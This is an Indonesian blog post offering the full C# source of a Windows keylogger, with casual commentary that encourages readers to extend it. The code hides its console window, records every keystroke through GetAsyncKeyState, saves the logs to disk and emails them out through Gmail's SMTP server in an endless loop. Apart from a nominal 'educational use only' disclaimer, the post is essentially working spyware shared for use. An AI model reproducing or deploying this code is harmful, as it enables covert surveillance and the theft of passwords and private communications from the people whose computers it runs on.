MiftahBudi14 - Dapet source dari dari Mamang Computer Analysis Lumayan Buat Bahan2..:D
kenapa saya make gmail yah emang gmail kapasitas nya cukup lumayan buat nampung2..
ok langsung aja..
nih Pelototin source C# nyak...^_^
Code: (Select All)
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Runtime.InteropService s;
using System.Net.Mail;
//Author: ComputerAnalysis
//The Computer Analysis: Episode 2
//This code is designated for educational use only.
//Please do not plagiarize my code.
//I do not take responsiblity for any illegal uses of this code.
namespace KeyLogger
{
class Program
{
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static void Main(string[] args)
{
IntPtr hWnd = FindWindow(null, Console.Title); //Title of window that is to be closed.
if (hWnd != IntPtr.Zero)
{
//Hide the window
ShowWindow(hWnd, 0); // 0 = SW_HIDE
}
string log = "";
nextLog:
while (log.Length < 2500)
{
for (int i = 1; i < 255; i++)
{
int result = GetAsyncKeyState(i);
if (result != 0)
{
log = log + checkExceptions(i);
System.Threading.Thread.Sleep(115); //115 works best for my computer.
//You may have to play around with the value.
}
}
}
DateTime current = DateTime.Now;
string date = current.ToString();
date = date.Replace(':','_');
date = date.Replace('/', '_');
string filePath = @"C:\Documents and Settings\All Users\Log_" + date + @".txt";
FileStream myLog = new FileStream(filePath, FileMode.CreateNew, FileAccess.Write);
StreamWriter sw = new StreamWriter(myLog);
sw.Write(log);
sw.Close();
myLog.Close();
SendMail("smtp.gmail.com", 587, "username", "password", "username@gmail.com", "username@gmail.com", "Key log for " + DateTime.Now.ToString(), "New Log from " + System.Environment.MachineNam e, true, filePath);
log = "";
goto nextLog;
}
public static string checkExceptions(int i) // makes log files easier to read and cleaner
{
switch (i)
{
case 1:
return "<Left Click>";
case 2:
return "<Right Click>";
case 13:
return "<Enter>";
case 9:
return "<Tab>";
case 20:
return "<Caps Lock>";
case 160:
return "<Left Shift>";
case 161:
return "<Right Shift>";
case 16:
return "";
case 162:
return "<Ctrl>";
case 163:
return "<Ctrl>";
case 17:
return "";
case 164:
return "<Alt>";
case 165:
return "<Alt>";
case 18:
return "";
case 93:
return "<Menu Key>";
case 37:
return "<Left Arrow>";
case 39:
return "<Right Arrow>";
case 38:
return "<Up Arrow>";
case 40:
return "<Down Arrow>";
case 220:
return "\\";
case 191:
return "/";
case 222:
return "'";
case 186:
return ";";
case 8:
return "<BackSpace>";
case 33:
return "<Page Up>";
case 34:
return "<Page Down>";
case 35:
return "<End>";
case 36:
return "<Home>";
case 144:
return "<Num Lk>";
case 44:
return "<Prnt Scrn>";
case 45:
return "<Insert>";
case 112:
return "<F1>";
case 113:
return "<F2>";
case 114:
return "<F3>";
case 115:
return "<F4>";
case 116:
return "<F5>";
case 117:
return "<F6>";
case 118:
return "<F7>";
case 119:
return "<F8>";
case 120:
return "<F9>";
case 121:
return "<F10>";
case 122:
return "<F11>";
case 123:
return "<F12>";
case 219:
return "[";
case 221:
return "]";
case 189:
return "-";
case 187:
return "=";
case 91:
return "<Windows Key>";
case 188:
return ",";
case 190:
return ".";
default:
return ((char)i).ToString();
}
}
public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
{
Attachment att = new Attachment(fileName);
MailMessage msg = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
// Create a MailMessage object with a from and to address
msg.Subject = subject;
// Add your subject
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = body;
// Add the body of your message
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false; // Does the body contain html
msg.Attachments.Add(att);
SmtpClient client = new SmtpClient(host, port);
// Create an instance of SmtpClient with your smtp host and port
client.Credentials = new System.Net.NetworkCredential(userName, pswd);
// Assign your username and password to connect to gmail
client.EnableSsl = sslEnabled; // Enable SSL
try
{
client.Send(msg); // Try to send your message
Console.WriteLine("Your message was sent successfully.");
// A method to update a ui element with a message
}
catch (SmtpException ex)
{
Console.WriteLine("There was an error sending your message. {0}", ex.Message);
}
}
}
}
script di atas bisa di kembangin lagi yak.... itu cuma standar langsung dari mamang computer analysis...
cekidot hasilnya gan...~O)>:D<
moga berguna...:-bd
0 komentar:
Post a Comment